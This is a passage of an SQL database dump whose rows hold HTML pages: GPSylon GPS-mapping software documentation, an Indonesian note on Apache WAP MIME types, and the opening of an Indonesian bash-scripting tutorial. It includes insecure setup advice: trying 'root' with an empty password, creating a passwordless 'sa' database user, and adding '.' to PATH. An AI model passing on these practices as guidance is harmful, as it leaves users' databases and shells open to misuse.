work!\r\n </li>\r\n <li>\r\n <p>\r\n Starting from Gpsylon V0.5.2, NO installation of the Java serial\r\n libraries are needed anymore! The native libraries are shipped with\r\n Gpsylon and start scripts are provided (for Linux and Windows)\r\n for Gpsylon and Gpstool (ther command line application). So just unpack\r\n the archive, and run (or double click) <code>gpsylon.cmd</code>, <code>gpstool.cmd</code>\r\n (for Windows) respectivly <code>gpsylon.sh</code>, <code>gpstool.sh</code> for\r\n Unix (Native Libraries for Linux, Sun Solaris and MacOSX are provided).\r\n As there is no Apple\r\n computer around for testing, I am not sure, if the unix scripts will work.\r\n Feedback is welcome!\r\n </p>\r\n <!--\r\n Java Communications API is needed, if you want to access a serial gps\r\n device directly (if the gps daemon is used or NMEA data is read from a\r\n file, this is not necessary). Sun released a new API just recently (only\r\n for Windows and Linux), so the decision was made to stick to the packages\r\n from <a href=\"http://www.rxtx.org\">RXTX</a>. Use the 2.1 version of\r\n the libraries (with the gnu.io package name), NOT the javax.comm packages.\r\n -->\r\n <!--\r\n For Windows use the package provided from\r\n Sun at\r\n <a href=\"http://java.sun.com/products/javacomm/index.html\">the comm-api\r\n webpage</a>. For Linux I used the package provided at\r\n <a href=\"http://www.rxtx.org\">RXTX</a>. I used the version that uses\r\n javax.comm, not the one using gnu.io (to stay compatible with Sun\'s\r\n naming).\r\n -->\r\n <p>\r\n Jan van Haarst reported that\r\n <a href=\"http://www.brianpoe.com/comfoolery/\">comfoolery</a>\r\n can be used to forward the serial data to a network socket. GPSylon may\r\n connect to this socket when it is configured to use gpsd instead of\r\n the serial device.\r\n </p>\r\n </li></ul>\r\n \r\n <a name=\"installation_database\"></a>\r\n <h3>Database for Location Markers</h3>\r\n <p>\r\n GPSylon is able to store and retrieve location markers from\r\n relational databases via JDBC. By default it uses the pure java\r\n open source <a href=\"http://hsqldb.sourceforge.net/\">Hypersonic\r\n DB (hsqldb)</a>. It has the advantage that no installation is needed and\r\n GPSylon creates a database on demand without any hassle.\r\n </p>\r\n <p>\r\n As the\r\n <a href=\"http://164.214.2.59/gns/html/index.html\">geonet dataset</a>\r\n is quite large (e.g. Austria 50 thousand entries,\r\n Germany 170 thousand entries), hsqldb seemed quite slow. So I gave it a\r\n try with mysql and it seems to be faster! Especially\r\n searching for location markers is faster by a factor 5 to 10! So I\r\n added a script\r\n that creates the table(s) needed (syntax differs slightly from\r\n the hsqldb syntax). The following steps are needed to use a\r\n mysql database instead of the built in hsqldb:\r\n </p><ul>\r\n <li>Install MySQL :-)</li>\r\n <li>\r\n Create the database: e.g. with the command\r\n <code>mysqladmin create gpsmap</code>\r\n </li>\r\n <li>Start GPSylon and edit database settings in the preferences\r\n (Location Marker tab):</li>\r\n <ul>\r\n <li>\r\n JDBC Url: <code>jdbc:mysql://localhost/gpsmap</code>\r\n </li>\r\n <li>\r\n JDBC Driver: <code>com.mysql.jdbc.Driver</code>\r\n </li>\r\n <li>\r\n SQL Script to create the Database:\r\n <code>sql/create_loation_mysql.sql</code>\r\n </li>\r\n </ul>\r\n <li>quit GPSylon</li>\r\n <li>on the next start, GPSylon tries to access the new database, but\r\n cannot (as the tables are missing). It asks for administrators\r\n username/password (try \"root\" and empty password :-) so it can create\r\n the table(s). It will also add a user \"sa\" with no password for\r\n normal usage (access limited to gpsmap database).</li>\r\n <li>That should be it! From now on, all location markers are stored\r\n and retrieved from the MySQL database.</li>\r\n </ul>\r\n For Postgresql support use the following configuration:\r\n <ul>\r\n <li>JDBC Url: jdbc:postgresql://localhost/gpsmap</li>\r\n <li>\r\n JDBC Driver: <code>org.postgresql.Driver</code>\r\n </li>\r\n <li>\r\n SQL Script to create the Database:\r\n <code>sql/create_loation_postgresql.sql</code>\r\n </li>\r\n </ul>\r\n The rest of the postgresql configuration is similar to the mysql\r\n configuration (install database, create a gpsmap database, create user\r\n and user rights, ...)\r\n \r\n <a name=\"run_gpsmap\"></a>\r\n <h2>Run GPSylon</h2>\r\n <p>\r\n To start GPSylon, <a href=\"https://sourceforge.net/project/showfiles.php?group_id=64816\">download</a> the gpstool-archive, unpack it and call<br>\r\n <code>java -jar gpssylon.jar</code><br>\r\n or if your environment is setup to handle jar-archives correctly, simply\r\n double click on the jar-archive (should work under\r\n windows). All needed classes are contained in the jar file.\r\n If you have the ant environment installed, call <code>ant run</code>.\r\n </p>\r\n <p>\r\n For commandline arguments (everything may be configured in the\r\n application as well!), call<br>\r\n <code>java -jar gpsylon.jar --help</code><br>\r\n </p>\r\n <h3>Mouse Modes</h3>\r\n GPSylon supports different mouse modes. Mouse modes may be added\r\n as plugins. At the moment, two mouse modes are available:\r\n <ul>\r\n <li>Navigation Mode: click anywhere in the map to zoom in and\r\n center at the clicked position. If the shift-key is held, a click\r\n zooms out. More navigational functionality will be implemented\r\n soon (pan, ...)</li>\r\n <li>Download Mode: If the download mode is used, a window opens\r\n that displays some information about the map(s) to download. In\r\n the map window, a red rectangle (with crossed lines) shows the\r\n current location and size (size may not be exact and varies\r\n slightly from one internet map server to another). The user may\r\n change the location either by clicking in the map or by changing\r\n the coordinates in the download window. The coordinates may be\r\n entered in different formats (decimal, using the degree sign,\r\n etc.). The user may click and drag in the map to draw a\r\n rectangle. If the rectangle is larger that a single map, more\r\n than one rectangle is shown and the number of maps to download is\r\n shown in the download window. Please do not download maps\r\n excessively, as the companies that provide the maps do not like\r\n that and will stop their service if it is misused!</li>\r\n </ul>\r\n <a name=\"plugins\"></a>\r\n <h2>Plugins</h2>\r\n <p>\r\n GPSylon supports plugins of various kinds. The plugin-jars\r\n are used without the need to set the\r\n <code>CLASSPATH</code>. All jars in the directories\r\n <code>[home]/.gpsylon/plugins</code> and in the\r\n <code>plugins</code> directory of the applicaton are used.\r\n </p>\r\n <a name=\"download\"></a>\r\n <h2>Download</h2>\r\n Please download the latest distribution of GPSylon at the\r\n <a href=\"http://sourceforge.net/project/showfiles.php?group_id=64816\">download\r\n page on sourceforge</a>.\r\n <a name=\"status\"></a>\r\n <h2>Status</h2>\r\n <p>\r\n GPSylon is in beta-status. It runs quite stable, but many features\r\n are\r\n not implemented yet.\r\n </p>\r\n <a name=\"press\"></a>\r\n <h2>Articles about GPSylon</h2>\r\n <p>\r\n Elliotte Rusty Harold, the author of quite a few books about Java, mentioned GPSylon\r\n in his <a href=\"http://www.cafeaulait.org/\">Cafe au Lait blog</a>.\r\n </p>\r\n <a name=\"otherprojects\"></a>\r\n <h2>Other Projects</h2>\r\n <p>\r\n Other projects that use parts of the gpsinput/gpsylon code are:\r\n </p><ul>\r\n <li><a href=\"http://www-adele.imag.fr/%7Edonsez/dev/osgi/gpspositionproducer/readme.html\">GPS Position Producer</a></li>\r\n </ul>\r\n \r\n <p>\r\n Projects that are somehow related to this project:\r\n </p><ul>\r\n <li><a href=\"http://www.gpsdrive.cc/\">Gpsdrive</a> was the main inspiration to write gpsylon.</li>\r\n <li><a href=\"http://mapgeneration.berlios.de/\">MapGeneration</a> tries to create free\r\n vector data from NMEA streams - this was one of the goals gpsylon was written for!</li>\r\n <li><a href=\"http://maps4free.de/\">Maps4Free</a> tries to do the same as a community project.</li>\r\n </ul>\r\n \r\n <a name=\"todo\"></a>\r\n <h2>To Do List</h2>\r\n <p>\r\n urgent:\r\n </p><ul>\r\n <li>option to use always info from gpsdrive</li>\r\n <li class=\"todo-done\">optionally draw rectangle for small scale maps that do not\r\n show (done (map manager plugin)): done</li>\r\n <li>download maps also larger than 1280x1024</li>\r\n <li>use repaint(int,int,int,int): mostly done</li>\r\n <li>are there GPS devices, that do not send RMC (for gps\r\n speed)??</li>\r\n <li>check for speed sent from gps (calculation of distance\r\n s=v*t) (tachometer)</li>\r\n <li class=\"todo-done\">window showing NMEA data: done</li>\r\n </ul>\r\n <p>\r\n Todo (wishlist):\r\n </p>\r\n <p>routes\r\n </p><ul>\r\n <li>define route with mouse (like distant mouse mode)</li>\r\n <li>name route</li>\r\n <li>show table with available routes</li>\r\n <li>download maps for a given route in a given scale (and image\r\n size)</li>\r\n <li>follow a given route with gps</li>\r\n </ul>\r\n\r\n <p>waypoints\r\n </p><ul>\r\n <li class=\"todo-done\">different lists of waypoints: done, categories should do\r\n the job</li>\r\n <li class=\"todo-done\">display different list of waypoints: done, categories\r\n should do it</li>\r\n <li class=\"todo-done\">different symbols for waypoints: done, for a couple of\r\n categories, more to come</li>\r\n <li class=\"todo-done\">store waypoints in database (hsqldb, mysql): done</li>\r\n </ul>\r\n\r\n <p>overlays\r\n </p><ul>\r\n <li>show major cities (CSV), use them as waypoints</li>\r\n <li>shape files: done (experimental)</li>\r\n <li>GML</li>\r\n </ul>\r\n\r\n <p>location database (GNR)\r\n </p><ul>\r\n <li class=\"todo-done\">search for name in GNR (zipped files) (done, when gnr is\r\n imported)</li>\r\n <li class=\"todo-done\">goto location (done)</li>\r\n </ul>\r\n\r\n <p>GPS Device\r\n </p><ul>\r\n <li>upload/download waypoints</li>\r\n <li class=\"todo-done\">download Tracks: download is done</li>\r\n <li>upload Tracks</li>\r\n </ul>\r\n\r\n <p>gps tracking\r\n </p><ul>\r\n <li class=\"todo-done\">pursuit mode: done, cdaller 2002/09/06</li>\r\n <li>as soon as manual navigation on screen, disable pursuit\r\n mode.</li>\r\n <li>different color for height or speed</li>\r\n <li class=\"todo-done\">save gps tracks: done</li>\r\n <li class=\"todo-done\">load gps tracks from gps device: done</li>\r\n <li class=\"todo-done\">load gps tracks from file: done for own tracks, track of\r\n gpdsrive and gml tracks</li>\r\n <li>autoscale (set scale, depending on speed)</li>\r\n </ul>\r\n\r\n <p>vectorize tracks\r\n </p><ul>\r\n <li>define nodes (crossings) and arcs between nodes</li>\r\n <li>define type of arcs (highway, smaller road, bicycle\r\n path)</li>\r\n <li>export as GML</li>\r\n <li>import as GML</li>\r\n </ul>\r\n\r\n <p>communication to other applications\r\n </p><ul>\r\n <li>import/export maps, tracks, waypoints to gpsdrive, gpspoint\r\n (partly done)</li>\r\n <li>option to leave maps there or copy them to .gpsylon/maps\r\n directory</li>\r\n </ul>\r\n\r\n <p>maps\r\n </p><ul>\r\n <li>import scanned maps</li>\r\n <li class=\"todo-done\">download from different servers (expedia, mapblast, ...):\r\n done</li>\r\n <li class=\"todo-done\">allow proxy authentication: done</li>\r\n <li>show table of maps (allow to delete, rename?, ...): partly done</li>\r\n <li class=\"todo-done\">download an area of maps: done&lt;</li>\r\n </ul>\r\n\r\n <p>autoroute calculation\r\n </p><ul>need vector data for this!</ul>\r\n\r\n <p>speech\r\n </p><ul>\r\n <li>output</li>\r\n <li>input</li>\r\n </ul>\r\n\r\n <p>distance notification\r\n </p><ul><li>provide notifications for specific points (e.g. radar\r\n warning)</li></ul>\r\n\r\n <p>\r\n context menus (right mouse) / one button mouse (touchscreen)\r\n support????\r\n </p><ul>\r\n \r\n <li>\r\n set position\r\n </li>\r\n <li>\r\n set destination\r\n </li>\r\n <li>\r\n set waypoint\r\n </li>\r\n <li>\r\n let each layer add menu for this\r\n </li>\r\n </ul>\r\n \r\n\r\n <a name=\"compile\"></a>\r\n <h2>\r\n Compile Source Distribution\r\n </h2>\r\n <p>\r\n To compile the source distribution, the java make tool\r\n <a href=\"http://jakarta.apache.org/ant/index.html\">Ant</a>\r\n from the apache project is needed. When correctly installed, a\r\n <code>ant compile</code>\r\n should be enough to compile the\r\n source.<br>\r\n <code>ant help</code>\r\n gives all ant-tasks.\r\n </p>\r\n\r\n <a name=\"gpstool\"></a>\r\n <h2>\r\n Commandline tool GPSTool\r\n </h2>\r\n\r\n <p>\r\n GPSTool is a small command line application that demonstrates\r\n the usage of the classes to read data from a gps device. The\r\n main class is\r\n <code>org.dinopolis.gpstool.GPSTool</code>\r\n and it may\r\n be started using the provided gpstool-&lt;version&gt;.jar file\r\n (execute in a command window <code>java -jar gpsylon-&lt;version&gt;.jar</code>\r\n - double click does not make\r\n much sense, as it is a commandline application). Use \"--help\"\r\n to see all commandline switches.<br>\r\n The following features are implemented in GPSTool:\r\n </p><ul>\r\n <li>\r\n Show current position/altitude/speed/heading/info about\r\n satellites.\r\n </li>\r\n <li>\r\n Use NMEA or Garmin protocol.\r\n </li>\r\n <li>\r\n Download tracks, routes, and/or waypoints and print them in\r\n <a href=\"http://www.topografix.com/gpx.asp\">GPX</a>\r\n format.\r\n </li>\r\n <li>\r\n Make screenshots from the display of the gps device. This\r\n is tested with the following models: Garmin eTrex Summit,\r\n eTrex Legend, eMap, Geko201, Streetpilot III (partly, needs\r\n more work - could not finish due to the device powered down\r\n after sending the 10th line of the image).\r\n </li>\r\n <li>\r\n Supprts\r\n <a href=\"http://jakarta.apache.org/velocity/\">Velocity</a>\r\n templates to print tracks, routes, waypoints. These\r\n templates are easy to write. Use command line switch\r\n \" --printdefaulttemplate\" to show the gpx template. Other\r\n templates are provided in the auxiliary directory.\r\n </li>\r\n </ul>\r\n \r\n\r\n <a name=\"license\"></a>\r\n <h2>\r\n License\r\n </h2>\r\n\r\n <p>\r\n\r\n The source of the gpstool framework\r\n basically is licensed unter the Lesser Gnu\r\n Public License (LGPL). Some parts in the\r\n framework (e.g. the main application GPSylon)\r\n uses the Open Source library openmap. The OpenMap code is\r\n covered under the\r\n <a href=\"http://openmap.bbn.com/license.html\">OpenMap\r\n license</a>,\r\n which is a modified version of Sun\'s artistic license, so\r\n take care which\r\n modules you use and which license you have to\r\n respect.\r\n </p>\r\n <p>\r\n The module that is responsible for reading gps\r\n data from a gps device in completely\r\n independent from the openmap library and may\r\n therefore be used under the LGPL license.\r\n </p>',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (73,'2008-02-20 19:28:58','Biar Apache Server support WAP Server','Hehe ada temen yang minta bantuan bikin WAP, eh sempat lupa gimana settingnya. Weit ketika tak liat di http.conf di server ada script ini. Haha \"MAMAT\" makanya punya ilmu disebar, weh dari dibawa mati gak manfaat, sing sabar yo thole. :P. \r\n\r\nJadi bila pengen Apacher Server Support WAP, tinggal paste nih sitak ke \"http.conf\". Trus direstart selesai. :)\r\n\r\n#wap\r\n\r\nAddType text/vnd.wap.wml .wml\r\nAddType image/vnd.wap.wbmp .wbmp\r\nAddType text/vnd.wap .wmls\r\nAddType application/vnd.wap .wmlc\r\nAddType application/vnd.wap .wmlscriptc\r\nAddType text/vnd.wap .wmlscript\r\n',1,1,8);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (74,'2008-02-19 20:25:05','Pengantar Pemrograman bash shell di inux Penting Lho','<h2>Pengantar Pemrograman bash shell di&nbsp;linux</h2>\r\n<span class=\"submitted\">January 24, 2008 — nidnid </span>\r\n\r\n<h2>1. Pendahuluan</h2>\r\n<p>Apa itu shell ? shell adalah program (penterjemah perintah) yang\r\nmenjembatani user dengan sistem operasi dalam hal ini kernel (inti\r\nsistem operasi), umumnya shell menyediakan prompt sebagai user\r\ninterface, tempat dimana user mengetikkan perintah-perintah yang\r\ndiinginkan baik berupa perintah internal shell (internal command),\r\nataupun perintah eksekusi suatu file progam (eksternal command), selain\r\nitu shell memungkinkan user menyusun sekumpulan perintah pada sebuah\r\natau beberapa file untuk dieksekusi sebagai program.</p>\r\n<h3>Macam - macam shell?</h3>\r\n<p>Tidak seperti sistem operasi lain yang hanya menyediakan satu atau 2\r\nshell, sistem operasi dari keluarga unix misalnya linux sampai saat ini\r\ndilengkapi oleh banyak shell dengan kumpulan perintah yang sangat\r\nbanyak, sehingga memungkinkan pemakai memilih shell mana yang paling\r\nbaik untuk membantu menyelesaikan pekerjaannya, atau dapat pula\r\nberpindah-pindah dari shell yang satu ke shell yang lain dengan mudah,\r\nbeberapa shell yang ada di linux antara lain:</p>\r\n<ul>\r\n<li>Bourne shell(sh),</li>\r\n<li>C shell(csh),</li>\r\n<li>Korn shell(ksh),</li>\r\n<li>Bourne again shell(bash),</li>\r\n<li>dsb.</li>\r\n</ul>\r\n<p><span id=\"more-176\"></span><br>\r\nMasing - masing shell mempunyai kelebihan dan kekurangan yang mungkin\r\nlebih didasarkan pada kebutuhan pemakai yang makin hari makin\r\nmeningkat, untuk dokumentasi ini shell yang digunakan adalah bash shell\r\ndari GNU, yang merupakan pengembangan dari Bourne shell dan mengambil\r\nbeberapa feature (keistimewaan) dari C shell serta Korn shell, Bash\r\nshell merupakan shell yang cukup banyak digunakan pemakai linux karena\r\nkemudahan serta banyaknya fasilitas perintah yang disediakan.versi bash\r\nshell yang saya gunakan adalah 2.04</p>\r\n<pre>[fajar@linux$]echo $BASH_VERSION\r\nbash 2.04.12(1)-release</pre>\r\n<p>Mungkin saat anda membaca dokumentasi ini versi terbaru dari bash sudah dirilis dengan penambahan feature yang lain.</p>\r\n<h2><a name=\"Programshell\"></a>2. Pemrograman Shell ?</h2>\r\n<p>Yaitu menyusun atau mengelompokkan beberapa perintah shell (internal\r\natupun eksternal command) menjadi kumpulan perintah yang melakukan\r\ntugas tertentu sesuai tujuan penyusunnya. Kelebihan shell di linux\r\ndibanding sistem operasi lain adalah bahwa shell di linux memungkinkan\r\nkita untuk menyusun serangkaian perintah seperti halnya bahasa\r\npemrograman (interpreter language), melakukan proses I/O, menyeleksi\r\nkondisi, looping, membuat fungsi, dsb. adalah proses - proses yang\r\numumnya dilakukan oleh suatu bahasa pemrograman, jadi dengan shell di\r\nlinux kita dapat membuat program seperti halnya bahasa pemrograman,\r\nuntuk pemrograman shell pemakai unix atau linux menyebutnya sebagai\r\nscript shell.</p>\r\n<h2><a name=\"Dasar\"></a>3. Kebutuhan Dasar</h2>\r\n<p>Sebelum mempelajari pemrograman Bash shell di linux sebaiknya anda\r\ntelah mengetahui dan menggunakan perintah - perintah dasar shell baik\r\nitu internal command yang telah disediakan shell maupun eksternal\r\ncommand atau utility, seperti</p>\r\n<ul>\r\n<li><code>cd, pwd, times, alias, umask, exit, logout, fg, bg, ls, mkdir, rmdir, mv, cp, rm, clear, ...</code></li>\r\n<li>utilitas seperti <code>cat, cut, paste, chmod, lpr,...</code></li>\r\n<li>redirection (cara mengirim output ke file atau menerima input dari file), menggunakan operator redirect <code>&gt;, &gt;&gt;, &lt;, &lt;&lt;,</code> contohnya:<code>ls &gt; data</code><br>\r\nhasil ls dikirim ke file data, jika file belum ada akan dibuat tetapi jika sudah ada isinya akan ditimpa.\r\n<p><code>ls &gt;&gt; data</code><br>\r\nhampir sama, bedanya jika file sudah ada maka isinya akan ditambah di akhir file.</p>\r\n<p><code>cat &lt; data</code><br>\r\nfile data dijadikan input oleh perintah <code>cat</code>\r\n</p></li><li>pipa (output suatu perintah menjadi input perintah lain), operatornya : <code>|</code> , contoh:<code>ls -l | sort -s</code><br>\r\nouput perintah ls -l (long) menjadi input perintah sort -s (urutkan secara descending), mending pake <code>ls -l -r</code> saja <img src=\"Pengantar%20Pemrograman%20bash%20shell%20di%20linux%20%AB%20KampusKu_files/icon_smile.gif\" alt=\":-)\" class=\"wp-smiley\"> \r\n<p><code>ls -l | sort -s | more</code></p>\r\n<p><code>cat &lt;data | sort &gt; databaru</code>\r\n</p></li><li>Wildcard dengan karakter <code>*, ?, [ ]</code>, contohnya:<code>ls i*</code><br>\r\ntampilkan semua file yang dimulai dengan i\r\n<p><code>ls i?i</code><br>\r\ntampilkan file yang dimulai dengan i, kemudian sembarang karakter tunggal, dan diakhiri dengan i</p>\r\n<p><code>ls [ab]*</code><br>\r\ntampilkan file yang dimulai dengan salah satu karakter a atau b\r\n</p></li></ul>\r\n<h2><a name=\"Simple\"></a>4. Simple Bash Script</h2>\r\n<p>Langkah awal sebaiknya periksa dulu shell aktif anda, gunakan perintah ps (report process status)</p>\r\n<pre>[fajar@linux$]ps\r\n PID TTY TIME CMD\r\n 219 tty1 00:00:00 bash\r\n 301 tty1 00:00:00 ps</pre>\r\n<p>bash adalah shell aktif di system saya, jika disystem anda berbeda misalnya <code>csh</code> atau <code>ksh</code> ubahlah dengan perintah <code>change shell</code></p>\r\n<pre>[fajar@linux$]chsh\r\nPassword:\r\nNew shell [/bin/csh]:/bin/bash\r\nShell changed</pre>\r\n<p>atau dengan mengetikkan <code>bash</code></p>\r\n<pre>[fajar@linux$]bash</pre>\r\n<p>sekarang coba anda ketikkan perintah dibawah ini pada prompt shell</p>\r\n<p><code>echo \"Script shell pertamaku di linux\"</code></p>\r\n<pre>[fajar@linux$]echo \"Script shell pertamaku di linux\"\r\nScript shell pertamaku di linux</pre>\r\n<p>string yang diapit tanda kutip ganda (double quoted) akan ditampilkan pada layar anda, <code>echo</code>\r\nadalah statement (perintah) built-in bash yang berfungsi menampilkan\r\ninformasi ke standard output yang defaultnya adalah layar. jika\r\ndiinginkan mengulangi proses tersebut, anda akan mengetikkan kembali\r\nperintah tadi, tapi dengan fasilitas history cukup menggunakan tombol\r\npanah kita sudah dapat mengulangi perintah tersebut, bagaimana jika\r\nberupa kumpulan perintah yang cukup banyak, tentunya dengan fasilitas\r\nhirtory kita akan kerepotan juga mengulangi perintah yang diinginkan\r\napalagi jika selang beberapa waktu mungkin perintah-perintah tadi sudah\r\ntertimpa oleh perintah lain karena history mempunyai kapasitas\r\npenyimpanan yang ditentukan. untuk itulah sebaiknya perintah-perintah\r\ntsb disimpan ke sebuah file yang dapat kita panggil kapanpun diinginkan.</p>\r\n<p>coba ikuti langkah - langkah berikut:</p>\r\n<ol>\r\n<li>Masuk ke editor anda, apakah memakai vi,pico,emacs,dsb…</li>\r\n<li>ketikkan perintah berikut\r\n<pre>#!/bin/bash\r\necho \"Hello, apa khabar\"</pre>\r\n</li>\r\n<li>simpan dengan nama file tes</li>\r\n<li>ubah permission file tes menggunakan <code>chmod</code>\r\n<pre>[fajar@linux$]chmod 755 tes</pre>\r\n</li>\r\n<li>jalankan\r\n<pre>[fajar@linux$]./tes</pre>\r\n</li>\r\n</ol>\r\n<p>kapan saja anda mau mengeksekusinya tinggal memanggil file tes\r\ntersebut, jika diinginkan mengeset direktory kerja anda sehingga\r\nterdaftar pada search path ketikkan perintah berikut</p>\r\n<pre>PATH=$PATH:.</pre>\r\n<p>setelah itu script diatas dapat dijalankan dengan cara</p>\r\n<pre>[fajar@linux$]tes\r\nHello, apa khabar</pre>\r\n<p>tanda <code>#!</code> pada <code>/bin/bash</code> dalam script tes\r\nadalah perintah yang diterjemahkan ke kernel linux untuk mengeksekusi\r\npath yang disertakan dalam hal ini program <code>bash</code> pada direktory <code>/bin</code>,\r\nsebenarnya tanpa mengikutkan baris tersebut anda tetap dapat\r\nmengeksekusi script bash, dengan catatan bash adalah shell aktif. atau\r\ndengan mengetikkan bash pada prompt shell.</p>\r\n<pre>[fajar@linux$]bash tes</pre>\r\n<p>tentunya cara ini kurang efisien, menyertakan path program bash\r\ndiawal script kemudian merubah permission file sehingga dapat anda\r\nexecusi merupakan cara yang paling efisien.</p>\r\n<p>Sekarang coba kita membuat script shell yang menampilkan informasi berikut:</p>\r\n<ol>\r\n<li>Waktu system</li>\r\n<li>Info tentang anda</li>\r\n<li>jumlah pemakai yang sedang login di system</li>\r\n</ol>\r\n<p>contoh scriptnya:</p>\r\n<pre>#!/bin/bash\r\n#myinfo\r\n\r\n#membersihkan tampilan layar\r\nclear \r\n\r\n#menampilkan informasi\r\necho -n \"Waktu system :\"; date\r\necho -n \"Anda :\"; whoami\r\necho -n \"Banyak pemakai :\"; who | wc -l</pre>\r\n<p>sebelum dijalankan jangan lupa untuk merubah permission file myinfo sehingga dapat dieksekusi oleh anda</p>\r\n<pre>[fajar@linux$]chmod 755 myinfo\r\n[fajar@linux$]./myinfo\r\nWaktu system : Sat Nov 25 22:57:15 BORT 2001\r\nAnda : fajar\r\nBanyak pemakai : 2</pre>\r\n<p>tentunya layout diatas akan disesuaikan dengan system yang anda gunakan statement <code>echo</code> dengan opsi <code>-n</code> akan membuat posisi kursor untuk tidak berpindah ke baris baru karena secara default statement <code>echo</code>\r\nakan mengakhiri proses pencetakan ke standar output dengan karakter\r\nbaris baru (newline), anda boleh mencoba tanpa menggunakan opsi <i>-n</i>, dan lihat perbedaannya. opsi lain yang dapat digunakan adalah <code>-e</code> (enable), memungkinkan penggunaan backslash karakter atau karakter sekuen seperti pada bahasa C atau perl, misalkan :</p>\r\n<pre>echo -e \"\\abunyikan bell\"</pre>\r\n<p>jika dijalankan akan mengeluarkan bunyi bell, informasi opsi pada statement <code>echo</code> dan backslash karakter selengkapnya dapat dilihat via man di prompt shell.</p>\r\n<pre>[fajar@linux$]man echo</pre>\r\n<h2><a name=\"Variabel\"></a>5. Pemakaian Variabel</h2>\r\n<p>Secara sederhana variabel adalah pengenal (identifier) berupa satuan\r\ndasar penyimpanan yang isi atau nilainya sewaktu-waktu dapat berubah\r\nbaik oleh eksekusi program (runtime program) ataupun proses lain yang\r\ndilakukan sistem operasi. dalam dokumentasi ini saya membagi variabel\r\nmenjadi 3 kategori:</p>\r\n<ol>\r\n<li>Environment Variable</li>\r\n<li>Positional Parameter</li>\r\n<li>User Defined Variable</li>\r\n</ol>\r\n<h3><a name=\"ENV\"></a>5.1. Environment Variable</h3>\r\n<p>atau variabel lingkungan yang digunakan khusus oleh shell atau system linux kita untuk proses kerja system seperti variabel <code>PS1, PS2, HOME, PATH, USER, SHELL,dsb...</code>jika digunakan akan berdampak pada system, misalkan variabel <code>PS1</code> yang digunakan untuk mengeset prompt shell pertama yaitu prompt tempat anda mengetikkan perintah - perintah shell (defaultnya <code>\"\\s-\\v\\$\"</code>), <code>PS2</code>\r\nuntuk prompt pelengkap perintah, prompt ini akan ditampilkan jika\r\nperintah yang dimasukkan dianggap belum lengkap oleh shell (defaultnya <code>\"&gt;\"</code>). anda dapat mengeset <code>PS1</code> dan <code>PS2</code> seperti berikut.</p>\r\n<p>simpan dahulu isi PS1 asli system anda, sehingga nanti dapat dengan mudah dikembalikan</p>\r\n<pre>[fajar@linux$]PS1LAMA=$PS1</pre>\r\n<p>sekarang masukkan string yang diinginkan pada variabel PS1</p>\r\n<pre>[fajar@linux$]PS1=\"Hi ini Promptku!\"\r\nHi ini Promptku!PS2=\"Lengkapi dong ? \"</pre>\r\n<p>maka prompt pertama dan kedua akan berubah, untuk mengembalikan PS1 anda ke prompt semula ketikkan perintah</p>\r\n<pre>[fajar@linux$]PS1=$PS1LAMA</pre>\r\n<p>Jika anda ingin mengkonfigurasi prompt shell, bash telah menyediakan beberapa backslash karakter diantaranya adalah:</p>\r\n<table border=\"1\">\r\n<tbody><tr>\r\n<td>\\a</td>\r\n<td>ASCII bell character (07)</td>\r\n</tr>\r\n<tr>\r\n<td>\\d</td>\r\n<td>date dengan format “Weekday Month Date” (misalnya “Tue May 26?)</td>\r\n</tr>\r\n<tr>\r\n<td>\\e</td>\r\n<td>ASCII escape character (033)</td>\r\n</tr>\r\n<tr>\r\n<td>\\H</td>\r\n<td>hostname (namahost)</td>\r\n</tr>\r\n<tr>\r\n<td>\\n</td>\r\n<td>newline (karakter baru)</td>\r\n</tr>\r\n<tr>\r\n<td>\\w</td>\r\n<td>Direktory aktif</td>\r\n</tr>\r\n<tr>\r\n<td>\\t</td>\r\n<td>time dalam 24 jam dengan format HH:MM:SS</td>\r\n</tr>\r\n<tr>\r\n<td>dll</td>\r\n<td><code>man bash</code> <img src=\"Pengantar%20Pemrograman%20bash%20shell%20di%20linux%20%AB%20KampusKu_files/icon_smile.gif\" alt=\":-)\" class=\"wp-smiley\"> </td>\r\n</tr>\r\n</tbody></table>\r\n<p>contoh pemakaiannya:</p>\r\n<pre>[fajar@linux$]PS1=\"[\\t][\\u@\\h:\\w]\\$\"</pre>\r\n<p>agar prompt shell hasil konfigurasi anda dapat tetap berlaku (permanen) sisipkan pada file <code>.bashrc</code> atau <code>.profile</code></p>\r\n<h3><a name=\"param\"></a>5.2. Positional Parameter</h3>\r\n<p>atau parameter posisi yaitu variabel yang digunakan shell untuk\r\nmenampung argumen yang diberikan terhadap shell baik berupa argumen\r\nwaktu sebuah file dijalankan atau argumen yang dikirim ke subrutin.\r\nvariabel yang dimaksud adalah <code>1,2,3,dst..</code>lebih jelasnya lihat contoh script berikut :</p>\r\n<pre>#!/bin/bash\r\n#argumen1\r\n\r\necho $1 adalah salah satu $2 populer di $3</pre>\r\n<p>Hasilnya</p>\r\n<pre>[fajar@linux$]./argumen1 bash shell linux\r\nbash adalah salah satu shell populer di linux</pre>\r\n<p>ada 3 argumen yang disertakan pada script <code>argumen1</code> yaitu <code>bash, shell, linux,</code> masing2 argumen akan disimpan pada variabel <code>1,2,3</code> sesuai posisinya. variabel spesial lain yang dapat digunakan diperlihatkan pada script berikut:</p>\r\n<pre>#!/bin/bash\r\n#argumen2\r\n\r\nclear\r\necho \"Nama script anda : $0\";\r\necho \"Banyak argumen : $#\";\r\necho \"Argumennya adalah: $*\";</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./argumen 1 2 3 empat\r\nNama script anda : ./argumen\r\nBanyak argumen : 4\r\nArgumennya adalah : 1 2 3 empat</pre>\r\n<h3><a name=\"userdef\"></a>5.3. User Defined Variable</h3>\r\n<p>atau variabel yang didefinisikan sendiri oleh pembuat script sesuai\r\ndengan kebutuhannya, beberapa hal yang perlu diperhatikan dalam\r\nmendefenisikan variabel adalah:</p>\r\n<ul>\r\n<li>dimulai dengan huruf atau underscore</li>\r\n<li>hindari pemakaian spesial karakter seperti *,$,#,dll…</li>\r\n<li>bash bersifat case sensitive, maksudnya membedakan huruf besar dan kecil, <code>a</code> berbeda dengan <code>A</code>, <code>nama</code> berbeda dengan <code>Nama,NaMa,dsb..</code></li>\r\n</ul>\r\n<p>untuk mengeset nilai variabel gunakan operator assignment (pemberi nilai)<code>\"=\"</code>, contohnya :</p>\r\n<pre>myos=\"linux\" 